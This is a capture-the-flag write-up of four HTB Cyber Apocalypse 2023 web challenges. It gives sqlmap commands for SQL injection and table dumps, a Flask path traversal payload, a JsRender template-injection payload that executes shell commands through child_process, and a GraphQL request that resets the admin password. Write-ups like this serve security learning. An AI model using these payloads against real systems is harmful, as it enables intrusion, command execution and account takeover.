CTF: HTB Cyber Apocalypse 2023 Part 1

Orbital

Visit the IP address and we see a login panel.

Manual sqli didn’t worked,so i saved the post request into a file.
request.txt:
POST http://64.227.41.83:30772/api/login HTTP/1.1
Host: 64.227.41.83:30772
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://64.227.41.83:30772/
Content-Type: application/json
Origin: http://64.227.41.83:30772
Content-Length: 37
Connection: close
{"username":"admin","password":"admin"}
And using sqlmap, I Found timebased SQLi in username parameter.
Command:
ryuk@kali:~# sqlmap -r request.txt --random-agent
found two tables users and communication in Database named orbital

sqlmap already cracked the hash for us, now using found credential admin:ichliebedich let’s login to the site.

From the docker file i noticed the filename which is containing our flag.

Flag location: /signal_sleuth_firmware
As in routes.py from the source code, you can see that file is being sent directly and there is also a hint given in the comment.

After doing some google search, I found flask Path Traversal vulnerebility and it’s payload from this article here.
Let’s create our payload according to the article.
Path Traversal Payload:
/../../../../../../../../../signal_sleuth_firmware
Flag: HTB{T1m3_b4$3d_$ql1_4r3_fun!!!}
Drobots


POST http://159.65.81.51:32743/api/login HTTP/1.1
Host: 159.65.81.51:32743
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://159.65.81.51:32743/
Content-Type: application/json
Origin: http://159.65.81.51:32743
Content-Length: 39
Connection: close
{"username":"admin","password":"admin"}
Command:
ryuk@kali:~# sqlmap -r request-new.txt --dbs --random-agent

To retrieve the tables use
Command:
ryuk@kali:~# sqlmap -r request-new.txt -D drobots --random-agent --tables
There is only one users table
Command:
ryuk@kali:~# sqlmap -r request-new.txt -D drobots --random-agent -T users --dump
At first i thought the password is hashed and perform bruteforce with sqlmap’s default wordlist but later on i found that the hashed string is the password.

admin:739025f319bf2fc8ecafa26f547defbc
Flag: HTB{p4r4m3t3r1z4t10n_1s_1mp0rt4nt!!!}
Didactic Octo Paddles
Visit the url and go to /register endpoint and register as normal user to the website, and login with your credentials.
Now visit the /admin panel. It wil authenticate you before giving access to the panel and intercept the request.
As i got to know by looking at the AdminMiddleware.js file from source code, the


/admin panel is accessable using None type

routes.js:
router.get("/admin", AdminMiddleware, async (req, res) => {
try {
const users = await db.Users.findAll();
const usernames = users.map((user) => user.username);
res.render("admin", {
users: jsrender.templates(`${usernames}`).render(),
});
} catch (error) {
console.error(error);
res.status(500).send("Something went wrong!");
}
});
The function is really not doing anything except displaying registered users using expressjs template engine, we can abuse it’s functionality to get our flag.

Open a private window and register using ssti payload as username {{:7*7}}



Payload is being executed, now it’s time to cat flag.txt
{{:"0xRyuk".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt').toString()")()}}

Now reload the /admin panel

Flag is not displayed completely, right click and do inspect element.

Flag: HTB{Pr3_C0MP111N6_W17H0U7_P4DD13804rD1N6_5K1115}
Reference: template-injection-jsrender-jsviews
Passman

Visit the address and there is a login panel for password manager.
While analyzing the source code, I came across a vulnerability known as an Insecure Direct Object Reference (IDOR). It seems that the application allows password resets without enforcing proper user authentication, thereby enabling anyone to reset any user’s password by using the UpdatePassword function and specifying the target user’s username as an argument.
Database.js:
async updatePassword(username, password) {
return new Promise(async (resolve, reject) => {
let stmt = `UPDATE users SET password = ? WHERE username = ?`;
this.connection.query(
stmt,
[
String(password),
String(username)
],
(err, _) => {
if(err)
reject(err)
resolve();
}
)
});
}
The applcation is using the graphql api, let’s understand how it is interacting with the backend by observing the login request.

This is how graphql api sending the request to the backend.
{"query":"mutation($username: String!, $password: String!) { LoginUser(username: $username, password: $password) { message, token } }","variables":{"username":"test","password":"test"}}
This json request is containing two keys query, and variables.
the query contains graphql mutation.
LoginUser and passing arguments to its username and password parameters, which returns a status message and an access token.

As the UpdatePassword function required a access token i needed to be login with the normal user account.
Replace LoginUser function with UpdatePassword with required arguments.
{"query":"mutation($username: String!, $password: String!) { UpdatePassword(username: $username, password: $password) { message, token } }","variables":{"username":"admin","password":"NewPassword"}}


Login with new admin credentials.